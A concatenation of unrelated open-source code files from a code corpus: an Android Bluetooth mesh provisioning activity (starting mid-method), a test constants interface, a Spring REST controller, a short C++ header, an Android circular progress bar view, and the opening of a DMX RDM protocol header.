getSupportActionBar().setSubtitle(deviceAddress);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
if (savedInstanceState == null)
mViewModel.connect(this, device, false);
binding.containerName.image
.setBackground(ContextCompat.getDrawable(this, R.drawable.ic_label_outline));
binding.containerName.title.setText(R.string.summary_name);
binding.containerName.text.setVisibility(View.VISIBLE);
binding.containerName.getRoot().setOnClickListener(v -> {
final DialogFragmentNodeName dialogFragmentNodeName = DialogFragmentNodeName.newInstance(deviceName);
dialogFragmentNodeName.show(getSupportFragmentManager(), null);
});
binding.containerUnicast.image
.setBackground(ContextCompat.getDrawable(this, R.drawable.ic_lan_24dp));
binding.containerUnicast.title.setText(R.string.title_unicast_address);
binding.containerUnicast.text.setVisibility(View.VISIBLE);
binding.containerUnicast.getRoot().setOnClickListener(v -> {
final UnprovisionedMeshNode node = mViewModel.getUnprovisionedMeshNode().getValue();
if (node != null && node.getProvisioningCapabilities() != null) {
final int elementCount = node.getProvisioningCapabilities().getNumberOfElements();
final DialogFragmentUnicastAddress dialogFragmentFlags = DialogFragmentUnicastAddress.
newInstance(mViewModel.getNetworkLiveData().getMeshNetwork().getUnicastAddress(), elementCount);
dialogFragmentFlags.show(getSupportFragmentManager(), null);
}
});
binding.containerAppKeys.image
.setBackground(ContextCompat.getDrawable(this, R.drawable.ic_vpn_key_24dp));
binding.containerAppKeys.title.setText(R.string.title_app_keys);
binding.containerAppKeys.text.setVisibility(View.VISIBLE);
binding.containerAppKeys.getRoot().setOnClickListener(v -> {
final Intent manageAppKeys = new Intent(ProvisioningActivity.this, AppKeysActivity.class);
manageAppKeys.putExtra(Utils.EXTRA_DATA, Utils.ADD_APP_KEY);
startActivityForResult(manageAppKeys, Utils.SELECT_KEY);
});
mViewModel.getConnectionState().observe(this, binding.connectionState::setText);
mViewModel.isConnected().observe(this, connected -> {
final boolean isComplete = mViewModel.isProvisioningComplete();
if (isComplete) {
return;
}
if (connected != null && !connected)
finish();
});
mViewModel.isDeviceReady().observe(this, deviceReady -> {
if (mViewModel.getBleMeshManager().isDeviceReady()) {
binding.connectivityProgressContainer.setVisibility(View.GONE);
final boolean isComplete = mViewModel.isProvisioningComplete();
if (isComplete) {
binding.provisioningProgressBar.setVisibility(View.VISIBLE);
binding.infoProvisioningStatusContainer.getRoot().setVisibility(View.VISIBLE);
setupProvisionerStateObservers();
return;
}
binding.dataContainer.setVisibility(View.VISIBLE);
}
});
mViewModel.isReconnecting().observe(this, isReconnecting -> {
if (isReconnecting != null && isReconnecting) {
mViewModel.getUnprovisionedMeshNode().removeObservers(this);
binding.infoProvisioningStatusContainer.getRoot().setVisibility(View.GONE);
binding.dataContainer.setVisibility(View.GONE);
binding.provisioningProgressBar.setVisibility(View.GONE);
binding.connectivityProgressContainer.setVisibility(View.VISIBLE);
} else {
setResultIntent();
}
});
mViewModel.getNetworkLiveData().observe(this, meshNetworkLiveData -> {
binding.containerName.text.setText(meshNetworkLiveData.getNodeName());
final ApplicationKey applicationKey = meshNetworkLiveData.getSelectedAppKey();
if (applicationKey != null) {
binding.containerAppKeys.text.setText(MeshParserUtils.bytesToHex(applicationKey.getKey(), false));
} else {
binding.containerAppKeys.text.setText(getString(R.string.no_app_keys));
}
binding.containerUnicast.text.setText(getString(R.string.hex_format,
String.format(Locale.US, "%04X", meshNetworkLiveData.getMeshNetwork().getUnicastAddress())));
});
mViewModel.getUnprovisionedMeshNode().observe(this, meshNode -> {
if (meshNode != null) {
final ProvisioningCapabilities capabilities = meshNode.getProvisioningCapabilities();
if (capabilities != null) {
binding.provisioningProgressBar.setVisibility(View.INVISIBLE);
binding.actionProvisionDevice.setText(R.string.provision_action);
binding.containerUnicast.getRoot().setVisibility(View.VISIBLE);
final MeshNetwork network = mViewModel.getNetworkLiveData().getMeshNetwork();
if (network != null) {
try {
final int elementCount = capabilities.getNumberOfElements();
final Provisioner provisioner = network.getSelectedProvisioner();
final int unicast = network.nextAvailableUnicastAddress(elementCount, provisioner);
network.assignUnicastAddress(unicast);
updateCapabilitiesUi(capabilities);
} catch (IllegalArgumentException ex) {
binding.actionProvisionDevice.setEnabled(false);
mViewModel.displaySnackBar(this, binding.coordinator, ex.getMessage(), Snackbar.LENGTH_LONG);
}
}
}
}
});
binding.actionProvisionDevice.setOnClickListener(v -> {
final UnprovisionedMeshNode node = mViewModel.getUnprovisionedMeshNode().getValue();
if (node == null) {
device.setName(mViewModel.getNetworkLiveData().getNodeName());
mViewModel.getNrfMeshRepository().identifyNode(device);
return;
}
if (node.getProvisioningCapabilities() != null) {
if (node.getProvisioningCapabilities().getAvailableOOBTypes().size() == 1 &&
node.getProvisioningCapabilities().getAvailableOOBTypes().get(0) == AuthenticationOOBMethods.NO_OOB_AUTHENTICATION) {
onNoOOBSelected();
} else {
final DialogFragmentSelectOOBType fragmentSelectOOBType = DialogFragmentSelectOOBType.newInstance(node.getProvisioningCapabilities());
fragmentSelectOOBType.show(getSupportFragmentManager(), null);
}
}
});
if (savedInstanceState == null)
mViewModel.getNetworkLiveData().resetSelectedAppKey();
}
@Override
public boolean onOptionsItemSelected(final MenuItem item) {
if (item.getItemId() == android.R.id.home) {
onBackPressed();
return true;
}
return false;
}
@Override
public void onBackPressed() {
super.onBackPressed();
//We disconnect from the device if the user presses the back button
disconnect();
}
@Override
protected void onDestroy() {
super.onDestroy();
}
@Override
protected void onActivityResult(final int requestCode, final int resultCode, final Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == Utils.SELECT_KEY) {
if (resultCode == RESULT_OK) {
final ApplicationKey appKey = data.getParcelableExtra(RESULT_KEY);
if (appKey != null) {
mViewModel.getNetworkLiveData().setSelectedAppKey(appKey);
}
}
}
}
@Override
public void onPinInputComplete(final String pin) {
mViewModel.getMeshManagerApi().setProvisioningAuthentication(pin);
}
@Override
public void onPinInputCanceled() {
final String message = getString(R.string.provisioning_cancelled);
final Snackbar snackbar = Snackbar.make(binding.coordinator, message, Snackbar.LENGTH_LONG);
snackbar.show();
disconnect();
}
@Override
public boolean onNodeNameUpdated(@NonNull final String nodeName) {
mViewModel.getNetworkLiveData().setNodeName(nodeName);
return true;
}
@Override
public boolean setUnicastAddress(final int unicastAddress) {
final MeshNetwork network = mViewModel.getMeshManagerApi().getMeshNetwork();
if (network != null) {
return network.assignUnicastAddress(unicastAddress);
}
return false;
}
@Override
public int getNextUnicastAddress(final int elementCount) {
final MeshNetwork network = mViewModel.getNetworkLiveData().getMeshNetwork();
return network.nextAvailableUnicastAddress(elementCount, network.getSelectedProvisioner());
}
@Override
public void onProvisioningFailed() {
//Provisioning failed so now we go back to the scanner page.
disconnect();
setResultIntent();
}
private void disconnect() {
mViewModel.getUnprovisionedMeshNode().removeObservers(this);
mViewModel.disconnect();
}
public void setupProvisionerStateObservers() {
binding.infoProvisioningStatusContainer.getRoot().setVisibility(View.VISIBLE);
final RecyclerView recyclerView = binding.infoProvisioningStatusContainer.recyclerViewProvisioningProgress;
recyclerView.setLayoutManager(new LinearLayoutManager(this));
final ProvisioningProgressAdapter adapter = new ProvisioningProgressAdapter(mViewModel.getProvisioningStatus());
recyclerView.setAdapter(adapter);
mViewModel.getProvisioningStatus().observe(this, provisioningStateLiveData -> {
if (provisioningStateLiveData != null) {
final ProvisionerProgress provisionerProgress = provisioningStateLiveData.getProvisionerProgress();
adapter.refresh(provisioningStateLiveData.getStateList());
if (provisionerProgress != null) {
final ProvisionerStates state = provisionerProgress.getState();
switch (state) {
case PROVISIONING_FAILED:
if (getSupportFragmentManager().findFragmentByTag(DIALOG_FRAGMENT_PROVISIONING_FAILED) == null) {
final String statusMessage = ProvisioningFailedState.parseProvisioningFailure(this, provisionerProgress.getStatusReceived());
DialogFragmentProvisioningFailedError message = DialogFragmentProvisioningFailedError.newInstance(getString(R.string.title_error_provisioning_failed), statusMessage);
message.show(getSupportFragmentManager(), DIALOG_FRAGMENT_PROVISIONING_FAILED);
}
break;
case PROVISIONING_AUTHENTICATION_STATIC_OOB_WAITING:
if (getSupportFragmentManager().findFragmentByTag(DIALOG_FRAGMENT_AUTH_INPUT_TAG) == null) {
DialogFragmentAuthenticationInput dialogFragmentAuthenticationInput = DialogFragmentAuthenticationInput.
newInstance(mViewModel.getUnprovisionedMeshNode().getValue());
dialogFragmentAuthenticationInput.show(getSupportFragmentManager(), DIALOG_FRAGMENT_AUTH_INPUT_TAG);
}
break;
case PROVISIONING_AUTHENTICATION_OUTPUT_OOB_WAITING:
if (getSupportFragmentManager().findFragmentByTag(DIALOG_FRAGMENT_AUTH_INPUT_TAG) == null) {
DialogFragmentAuthenticationInput dialogFragmentAuthenticationInput = DialogFragmentAuthenticationInput.
newInstance(mViewModel.getUnprovisionedMeshNode().getValue());
dialogFragmentAuthenticationInput.show(getSupportFragmentManager(), DIALOG_FRAGMENT_AUTH_INPUT_TAG);
}
break;
case PROVISIONING_AUTHENTICATION_INPUT_OOB_WAITING:
if (getSupportFragmentManager().findFragmentByTag(DIALOG_FRAGMENT_AUTH_INPUT_TAG) == null) {
DialogFragmentAuthenticationInput dialogFragmentAuthenticationInput = DialogFragmentAuthenticationInput.
newInstance(mViewModel.getUnprovisionedMeshNode().getValue());
dialogFragmentAuthenticationInput.show(getSupportFragmentManager(), DIALOG_FRAGMENT_AUTH_INPUT_TAG);
}
break;
case PROVISIONING_AUTHENTICATION_INPUT_ENTERED:
final DialogFragmentAuthenticationInput fragment = (DialogFragmentAuthenticationInput) getSupportFragmentManager().
findFragmentByTag(DIALOG_FRAGMENT_AUTH_INPUT_TAG);
if (fragment != null)
fragment.dismiss();
break;
case APP_KEY_STATUS_RECEIVED:
if (getSupportFragmentManager().findFragmentByTag(DIALOG_FRAGMENT_CONFIGURATION_STATUS) == null) {
DialogFragmentConfigurationComplete fragmentConfigComplete = DialogFragmentConfigurationComplete.
newInstance(getString(R.string.title_configuration_compete), getString(R.string.configuration_complete_summary));
fragmentConfigComplete.show(getSupportFragmentManager(), DIALOG_FRAGMENT_CONFIGURATION_STATUS);
}
break;
case PROVISIONER_UNASSIGNED:
setResultIntent();
break;
default:
break;
}
}
binding.dataContainer.setVisibility(View.GONE);
}
});
}
@Override
public void onConfigurationCompleted() {
setResultIntent();
}
private void setResultIntent() {
final Intent returnIntent = new Intent();
if (mViewModel.isProvisioningComplete()) {
returnIntent.putExtra(Utils.PROVISIONING_COMPLETED, true);
setResult(Activity.RESULT_OK, returnIntent);
final ProvisionerProgress progress = mViewModel.getProvisioningStatus().getProvisionerProgress();
if (progress.getState() == ProvisionerStates.PROVISIONER_UNASSIGNED) {
returnIntent.putExtra(Utils.PROVISIONER_UNASSIGNED, true);
} else {
if (mViewModel.isCompositionDataStatusReceived()) {
returnIntent.putExtra(Utils.COMPOSITION_DATA_COMPLETED, true);
if (mViewModel.isDefaultTtlReceived()) {
returnIntent.putExtra(Utils.DEFAULT_GET_COMPLETED, true);
if (mViewModel.isNetworkRetransmitSetCompleted()) {
returnIntent.putExtra(Utils.NETWORK_TRANSMIT_SET_COMPLETED, true);
if (mViewModel.getNetworkLiveData().getMeshNetwork().getAppKeys().isEmpty() || mViewModel.isAppKeyAddCompleted()) {
returnIntent.putExtra(Utils.APP_KEY_ADD_COMPLETED, true);
}
}
}
}
}
}
finish();
}
private void updateCapabilitiesUi(final ProvisioningCapabilities capabilities) {
binding.capabilitiesContainer.getRoot().setVisibility(View.VISIBLE);
final String numberOfElements = String.valueOf(capabilities.getNumberOfElements());
binding.capabilitiesContainer.containerElementCount.text.setText(numberOfElements);
binding.capabilitiesContainer.containerSupportedAlgorithm.text.setText(mViewModel.parseAlgorithms(capabilities));
binding.capabilitiesContainer.containerPublicKeyType.text.
setText(capabilities.isPublicKeyInformationAvailable() ?
R.string.public_key_information_available : R.string.public_key_information_unavailable);
binding.capabilitiesContainer.containerStaticOobType.text.
setText(capabilities.isStaticOOBInformationAvailable() ?
R.string.static_oob_information_available : R.string.static_oob_information_unavailable);
binding.capabilitiesContainer.containerOutputOobSize.text.setText(String.valueOf(capabilities.getOutputOOBSize()));
binding.capabilitiesContainer.containerOutputActions.text.setText(mViewModel.parseOutputOOBActions(this, capabilities));
binding.capabilitiesContainer.containerInputOobSize.text.setText(String.valueOf(capabilities.getInputOOBSize()));
binding.capabilitiesContainer.containerInputActions.text.setText(mViewModel.parseInputOOBActions(this, capabilities));
}
@Override
public void onNoOOBSelected() {
final UnprovisionedMeshNode node = mViewModel.getUnprovisionedMeshNode().getValue();
if (node != null) {
try {
node.setNodeName(mViewModel.getNetworkLiveData().getNodeName());
setupProvisionerStateObservers();
binding.provisioningProgressBar.setVisibility(View.VISIBLE);
mViewModel.getMeshManagerApi().startProvisioning(node);
} catch (IllegalArgumentException ex) {
mViewModel.displaySnackBar(this, binding.coordinator, ex.getMessage(), Snackbar.LENGTH_LONG);
}
}
}
@Override
public void onStaticOOBSelected(final StaticOOBType staticOOBType) {
final UnprovisionedMeshNode node = mViewModel.getUnprovisionedMeshNode().getValue();
if (node != null) {
try {
node.setNodeName(mViewModel.getNetworkLiveData().getNodeName());
setupProvisionerStateObservers();
binding.provisioningProgressBar.setVisibility(View.VISIBLE);
mViewModel.getMeshManagerApi().startProvisioningWithStaticOOB(node);
} catch (IllegalArgumentException ex) {
mViewModel.displaySnackBar(this, binding.coordinator, ex.getMessage(), Snackbar.LENGTH_LONG);
}
}
}
@Override
public void onOutputOOBActionSelected(final OutputOOBAction action) {
final UnprovisionedMeshNode node = mViewModel.getUnprovisionedMeshNode().getValue();
if (node != null) {
try {
node.setNodeName(mViewModel.getNetworkLiveData().getNodeName());
setupProvisionerStateObservers();
binding.provisioningProgressBar.setVisibility(View.VISIBLE);
mViewModel.getMeshManagerApi().startProvisioningWithOutputOOB(node, action);
} catch (IllegalArgumentException ex) {
mViewModel.displaySnackBar(this, binding.coordinator, ex.getMessage(), Snackbar.LENGTH_LONG);
}
}
}
@Override
public void onInputOOBActionSelected(final InputOOBAction action) {
final UnprovisionedMeshNode node = mViewModel.getUnprovisionedMeshNode().getValue();
if (node != null) {
try {
node.setNodeName(mViewModel.getNetworkLiveData().getNodeName());
setupProvisionerStateObservers();
binding.provisioningProgressBar.setVisibility(View.VISIBLE);
mViewModel.getMeshManagerApi().startProvisioningWithInputOOB(node, action);
} catch (IllegalArgumentException ex) {
mViewModel.displaySnackBar(this, binding.coordinator, ex.getMessage(), Snackbar.LENGTH_LONG);
}
}
}
}
| 11,180 |
2,944 | <gh_stars>1000+
/*
* Copyright (C) 2014 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the
* License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied. See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.mobsandgeeks.saripaar.tests;
public interface Constants {
// Fields
String FIELD_NAME = "NAME";
String FIELD_ADDRESS = "ADDRESS";
String FIELD_EMAIL = "EMAIL";
String FIELD_PHONE = "PHONE";
String FIELD_ZIP_CODE = "ZIP_CODE";
String FIELD_AIRTEL_NUMBER = "AIRTEL_NUMBER";
String FIELD_MAX = "MAX";
String FIELD_CONFIRM_PASSWORD = "<PASSWORD>";
// Values
String NAME = "Android";
String ADDRESS = "1600 Amphitheatre Parkway";
String EMAIL = "<EMAIL>";
String PHONE = "1234567890";
String ZIP_CODE = "635001";
String AIRTEL_NUMBER = "9998888888";
// State
String STATE_SUCCESS = "SUCCESS";
String STATE_FAILURE = "FAILURE";
String STATE_CRASH = "CRASH";
}
| 478 |
668 | <reponame>qianfen2021/conan<gh_stars>100-1000
package com.tal.wangxiao.conan.admin.controller;
import java.util.List;
import com.tal.wangxiao.conan.common.domain.TaskApiRelationDbInfo;
import com.tal.wangxiao.conan.common.domain.TaskApiRelationView;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.tal.wangxiao.conan.sys.common.annotation.Log;
import com.tal.wangxiao.conan.common.api.ApiResponse;
import com.tal.wangxiao.conan.common.api.PageInfoResponse;
import com.tal.wangxiao.conan.common.controller.ConanBaseController;
import com.tal.wangxiao.conan.sys.common.core.domain.AjaxResult;
import com.tal.wangxiao.conan.sys.common.enums.BusinessType;
import com.tal.wangxiao.conan.common.domain.TaskApiRelation;
import com.tal.wangxiao.conan.common.service.TaskApiRelationService;
import com.tal.wangxiao.conan.sys.common.utils.poi.ExcelUtil;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
/**
* taskApiRelationController
*
* @author dengkunan
* @date 2020-12-29
*/
@RestController
@RequestMapping("/api/1.0/common/taskApiRelation")
@Api(value = "taskApiRelation模块管理", tags = "taskApiRelation模块管理")
public class TaskApiRelationController extends ConanBaseController {
@Autowired
private TaskApiRelationService taskApiRelationService;
/* *//**
* 查询taskApiRelation列表
*//*
@ApiOperation(value = "", notes = "查询taskApiRelation")
@PreAuthorize("@ss.hasPermi('admin:task:list')")
@GetMapping("/list")
public ApiResponse<PageInfoResponse<List<TaskApiRelation>>> list( TaskApiRelation taskApiRelation) {
startPage();
List<TaskApiRelation> list = taskApiRelationService.selectTaskApiRelationList(taskApiRelation);
return getDataTable(list);
}*/
/* *//**
* 导出taskApiRelation列表
*//*
@PreAuthorize("@ss.hasPermi('admin:task:export')")
@Log(title = "taskApiRelation", businessType = BusinessType.EXPORT)
@GetMapping("/export")
public AjaxResult export( TaskApiRelation taskApiRelation) {
List<TaskApiRelation> list = taskApiRelationService.selectTaskApiRelationList(taskApiRelation);
ExcelUtil<TaskApiRelation> util = new ExcelUtil<TaskApiRelation>(TaskApiRelation.class);
return util.exportExcel(list, "taskApiRelation");
}*/
/**
* 获取taskApiRelation详细信息
*/
@PreAuthorize("@ss.hasPermi('admin:task:query')")
@GetMapping(value = "taskId/{taskId}")
public ApiResponse<TaskApiRelationView> getInfoByTaskId(@PathVariable("taskId") Integer taskId) {
List<TaskApiRelationView> list = taskApiRelationService.selectTaskApiRelationViewListByTaskId(taskId);
return ApiResponse.success(list);
}
/**
* 获取taskApiRelation详细信息
*/
@PreAuthorize("@ss.hasPermi('admin:task:query')")
@GetMapping(value = "deptId/{deptId}")
public ApiResponse<TaskApiRelationView> getInfoByDeptId(@PathVariable("deptId") Integer deptId) {
List<TaskApiRelationView> list = taskApiRelationService.selectTaskApiRelationViewListByDeptId(deptId);
return ApiResponse.success(list);
}
/**
* 获取taskApiRelation详细信息
*/
@PreAuthorize("@ss.hasPermi('admin:task:query')")
@GetMapping(value = "domainId/{domainId}")
public ApiResponse<TaskApiRelationView> getInfoByDomainId(@PathVariable("domainId") Integer domainId) {
List<TaskApiRelationView> list = taskApiRelationService.selectTaskApiRelationViewListByDomainId(domainId);
return ApiResponse.success(list);
}
/**
* 获取taskApiRelation详细信息
*/
@PreAuthorize("@ss.hasPermi('admin:task:query')")
@GetMapping(value = "/getInfo")
public ApiResponse<TaskApiRelationView> getInfoByApiNameAndDomainName(TaskApiRelationDbInfo taskApiRelationDbInfo) {
List<TaskApiRelationView> list = taskApiRelationService.selectTaskApiRelationViewListByApiNameAndDomainName(taskApiRelationDbInfo);
return ApiResponse.success(list);
}
/**
* 新增taskApiRelation
*/
@PreAuthorize("@ss.hasPermi('admin:task:add')")
@Log(title = "taskApiRelation", businessType = BusinessType.INSERT)
@PostMapping
public ApiResponse add(@RequestBody List<TaskApiRelation> taskApiRelationList) {
return toAjax(taskApiRelationService.insertTaskApiRelation(taskApiRelationList));
}
/* *//**
* 修改taskApiRelation
*//*
@PreAuthorize("@ss.hasPermi('admin:task:edit')")
@Log(title = "taskApiRelation", businessType = BusinessType.UPDATE)
@PutMapping
public ApiResponse edit(@RequestBody TaskApiRelation taskApiRelation) {
return toAjax(taskApiRelationService.updateTaskApiRelation(taskApiRelation));
}
*//**
* 删除taskApiRelation
*//*
@PreAuthorize("@ss.hasPermi('admin:task:remove')")
@Log(title = "taskApiRelation", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public ApiResponse remove(@PathVariable Integer[] ids) {
return toAjax(taskApiRelationService.deleteTaskApiRelationByIds(ids));
}*/
} | 2,275 |
17,809 | <reponame>ScriptBox21/winget-cli
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
#pragma once
#include "FindPackagesOptions.g.h"
namespace winrt::Microsoft::Management::Deployment::factory_implementation
{
struct FindPackagesOptions : FindPackagesOptionsT<FindPackagesOptions, implementation::FindPackagesOptions>
{
auto ActivateInstance() const
{
return winrt::create_instance<winrt::Microsoft::Management::Deployment::FindPackagesOptions>(__uuidof(implementation::FindPackagesOptions), CLSCTX_ALL);
}
};
}
| 196 |
1,184 | /*
* Copyright 2014 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.klinker.android.twitter.view;
import android.content.Context;
import android.content.res.Resources;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.RectF;
import android.util.AttributeSet;
import android.util.TypedValue;
import android.view.View;
import com.klinker.android.twitter.util.ColorUtils;
public class CircularProgressBar extends View {
private static final String TAG = "CircularProgressBar";
private static final double e = 2.71828;
private static final double pi = 3.1415;
private static final int DEFAULT_COLOR = 0xff3f51b5;
private static final int DEFAULT_SHOWING_COLOR = 0xaa3f51b5;
private static final int RADIUS = 48;
private static final int DEFAULT_STROKE = RADIUS / 6;
private static final int SMALLEST_ANGLE = 30;
private static final int LARGEST_ANGLE = 335;
private static final int STABLE_INCREASE = 4;
private static final int STATE_WAITING = -2;
private static final int STATE_SHOWING = -1;
private static final int STATE_INCREASING = 0;
private static final int STATE_DECREASING = 1;
private Paint paint;
private Paint showingPaint;
private Paint shownPaint;
private float currentStartAngle;
private float currentSweepAngle;
private RectF rectF;
private RectF showingRectF;
private RectF shownRectF;
private float radius;
private int resizedRadius = -1;
private float padding;
private int currentState = STATE_WAITING;
private AnimationThread animator;
private ColorUtils colorUtil = new ColorUtils();
public CircularProgressBar(Context context) {
this(context, null);
}
public CircularProgressBar(Context context, AttributeSet attrs) {
this(context, attrs, 0);
}
public CircularProgressBar(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
init();
}
private void init() {
paint = new Paint();
paint.setAntiAlias(true);
paint.setStyle(Paint.Style.STROKE);
paint.setStrokeWidth(toPx(DEFAULT_STROKE));
paint.setColor(DEFAULT_COLOR);
paint.setAlpha(0);
showingPaint = new Paint();
showingPaint.setAntiAlias(true);
showingPaint.setStyle(Paint.Style.STROKE);
showingPaint.setStrokeWidth(toPx(DEFAULT_STROKE));
showingPaint.setColor(DEFAULT_SHOWING_COLOR);
shownPaint = new Paint();
shownPaint.setAntiAlias(true);
shownPaint.setStyle(Paint.Style.STROKE);
shownPaint.setStrokeWidth(toPx(DEFAULT_STROKE));
shownPaint.setColor(DEFAULT_SHOWING_COLOR);
currentStartAngle = 0;
currentSweepAngle = SMALLEST_ANGLE;
radius = toPx(RADIUS);
padding = toPx(DEFAULT_STROKE);
animator = new AnimationThread(this);
}
public void setColor(int color) {
paint.setColor(color);
showingPaint.setColor(colorUtil.adjustAlpha(color, .5f));
shownPaint.setColor(colorUtil.adjustAlpha(color, .5f));
}
public void setColorResource(int resourceId) {
paint.setColor(getResources().getColor(resourceId));
showingPaint.setColor(colorUtil.adjustAlpha(getResources().getColor(resourceId), .5f));
shownPaint.setColor(colorUtil.adjustAlpha(getResources().getColor(resourceId), .5f));
}
public void setRadius(int sizeInDp) {
radius = toPx(sizeInDp);
padding = radius / 6;
paint.setStrokeWidth(padding);
showingPaint.setStrokeWidth(padding);
shownPaint.setStrokeWidth(padding);
resizedRadius = sizeInDp;
}
@Override
public void onAttachedToWindow() {
super.onAttachedToWindow();
getHandler().postDelayed(new Runnable() {
@Override
public void run() {
setRunning(true);
}
}, 250);
}
@Override
public void onDetachedFromWindow() {
super.onDetachedFromWindow();
setRunning(false);
}
public void setRunning(boolean running) {
animator.setRunning(running);
try {
if (running) animator.start();
} catch (Exception e) {
}
}
@Override
public void onSizeChanged(int w, int h, int oldW, int oldH) {
super.onSizeChanged(w, h, oldW, oldH);
rectF = new RectF(w / 2 - radius / 2 - padding, h / 2 - radius / 2 - padding, w / 2 + radius / 2 + padding, h / 2 + radius / 2 + padding);
showingRectF = new RectF(w / 2, h / 2, w / 2, h / 2);
shownRectF = new RectF(w / 2, h / 2, w / 2, h / 2);
}
@Override
protected synchronized void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
setMeasuredDimension((int) (radius * 2.5), (int) (radius * 2.5));
}
@Override
public void onDraw(Canvas canvas) {
canvas.drawArc(showingRectF, 0, 360, false, showingPaint);
canvas.drawArc(shownRectF, 0, 360, false, shownPaint);
if (currentState != STATE_WAITING) {
canvas.drawArc(rectF, currentStartAngle, currentSweepAngle, false, paint);
}
}
public void restartSpinner() {
currentState = STATE_WAITING;
init();
if (resizedRadius != -1) {
setRadius(resizedRadius);
}
}
// get the speed of the animation that we want based on the current sweep angle, needs a normal distribution
private float interpolateSpeed(float sweepAngle) {
double increase = getUnstableIncrease();
double speed = (increase * Math.pow(e, -1 * pi * Math.pow(sweepAngle / 100 - 1.5, 2))) + increase;
return (float) speed;
}
private double getUnstableIncrease() {
return STABLE_INCREASE * 1.4;
}
private float toPx(int dp) {
Resources r = getResources();
return TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dp, r.getDisplayMetrics());
}
public class AnimationThread extends Thread {
public View view;
private boolean running = false;
public AnimationThread(View v) {
super();
view = v;
}
public void setRunning(boolean run) {
running = run;
}
private final static int MAX_FPS = 60;
private final static int MAX_FRAME_SKIPS = 5;
private final static int FRAME_PERIOD = 1000 / MAX_FPS;
@Override
public void run() {
long beginTime;
long timeDiff;
int sleepTime;
int framesSkipped;
while (running) {
try {
beginTime = System.currentTimeMillis();
framesSkipped = 0;
updateView();
postInvalidate();
timeDiff = System.currentTimeMillis() - beginTime;
sleepTime = (int) (FRAME_PERIOD - timeDiff);
if (sleepTime > 0) {
try {
Thread.sleep(sleepTime);
} catch (InterruptedException e) {
}
}
while (sleepTime < 0 && framesSkipped < MAX_FRAME_SKIPS) {
updateView();
sleepTime += FRAME_PERIOD;
framesSkipped++;
}
} finally {
postInvalidate();
}
}
}
private void postInvalidate() {
try {
view.postInvalidate();
} catch (Exception e) {
}
}
public void updateView() {
if (rectF == null) {
return;
}
switch (currentState) {
case STATE_WAITING:
int dist = STABLE_INCREASE * 2;
showingRectF = new RectF(showingRectF.left - dist, showingRectF.top - dist, showingRectF.right + dist, showingRectF.bottom + dist);
if (showingRectF.right > rectF.right) {
currentState = STATE_SHOWING;
showingRectF = new RectF(rectF.left, rectF.top, rectF.right, rectF.bottom);
}
break;
case STATE_SHOWING:
dist = STABLE_INCREASE;
shownRectF = new RectF(shownRectF.left - dist, shownRectF.top - dist, shownRectF.right + dist, shownRectF.bottom + dist);
if (shownRectF.right > rectF.right - padding) {
currentState = STATE_INCREASING;
shownRectF = new RectF(rectF.left + padding, rectF.top + padding, rectF.right - padding, rectF.bottom - padding);
}
case STATE_INCREASING:
currentStartAngle += STABLE_INCREASE;
currentSweepAngle += interpolateSpeed(currentSweepAngle);
if (currentSweepAngle >= LARGEST_ANGLE) {
currentState = STATE_DECREASING;
}
break;
case STATE_DECREASING:
currentStartAngle += interpolateSpeed(currentSweepAngle);
currentSweepAngle -= STABLE_INCREASE;
if (currentSweepAngle <= SMALLEST_ANGLE) {
currentState = STATE_INCREASING;
}
break;
}
if (currentState != STATE_WAITING) {
int alpha = showingPaint.getAlpha();
if (alpha > 0) {
alpha = alpha - STABLE_INCREASE;
if (alpha < 0) {
alpha = 0;
}
showingPaint.setAlpha(alpha);
}
alpha = paint.getAlpha();
if (alpha < 255) {
alpha = alpha + STABLE_INCREASE;
if (alpha > 255) {
alpha = 255;
}
paint.setAlpha(alpha);
}
}
if (currentState != STATE_SHOWING) {
int alpha = shownPaint.getAlpha();
if (alpha > 0) {
alpha = alpha - STABLE_INCREASE;
if (alpha < 0) {
alpha = 0;
}
shownPaint.setAlpha(alpha);
}
}
}
}
}
| 5,302 |
478 | /*
Q Light Controller Plus
rdmprotocol.h
Copyright (c) <NAME>
Licensed under the Apache License Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0.txt
Unless required by applicable law or agreed to in writing software
distributed under the License is distributed on an "AS IS" BASIS
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <QVariantList>
#include <QByteArray>
#define DEBUG_RDM
#define RDM_START_CODE 0xCC
#define RDM_SC_SUB_MESSAGE 0x01
// RDM Commands - E1.20 Table A-1
#define DISCOVERY_COMMAND 0x10
#define DISCOVERY_COMMAND_RESPONSE 0x11
#define GET_COMMAND 0x20
#define GET_COMMAND_RESPONSE 0x21
#define SET_COMMAND 0x30
#define SET_COMMAND_RESPONSE 0x31
